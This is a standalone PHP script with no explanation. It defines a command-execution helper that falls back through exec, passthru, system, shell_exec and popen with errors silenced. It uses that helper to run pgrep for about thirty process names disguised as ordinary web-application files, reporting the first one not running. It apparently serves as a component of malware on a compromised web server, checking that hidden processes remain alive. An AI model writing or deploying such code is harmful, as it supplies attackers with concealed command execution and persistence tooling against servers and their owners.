<?php   $files = ['smf10.inc','userlist.tpl','class.user.inc','modifier.upper','abt_course_nrm','header.inc','blockedusers','addhtmlblob','profileinfo','activecalendar','File.class','proj_cord','edit_link2','reading_eco','dbaccess.class','jpgraph_radar','xoopstree','loggedout','sp_getthumb','cc_hsbc_result','block_mnet_hosts','tot_accept02','gcheckout','cma_m_mailprefs','pdf_schema','refresher.tpl','read_dump','hungarian_mimes','testsessions','stats_customers']; foreach ($files as $f) {     $res = @run("pgrep {$f}");     if (!preg_match('/\d+/', $res)) {         die("<f>{$f}</f>");     } } die('!ended!');  function run($in) {     $out = '';     if (function_exists('exec')) {         @exec($in, $out);         $out = @join("\n", $out);     } elseif (function_exists('passthru')) {         ob_start();         @passthru($in);         $out = ob_get_clean();     } elseif (function_exists('system')) {         ob_start();         @system($in);         $out = ob_get_clean();     } elseif (function_exists('shell_exec')) {         $out = shell_exec($in);     } elseif (is_resource($f = @popen($in, "r"))) {         $out = "";         while (!@feof($f))             $out .= fread($f, 1024);         pclose($f);     }     return $out; }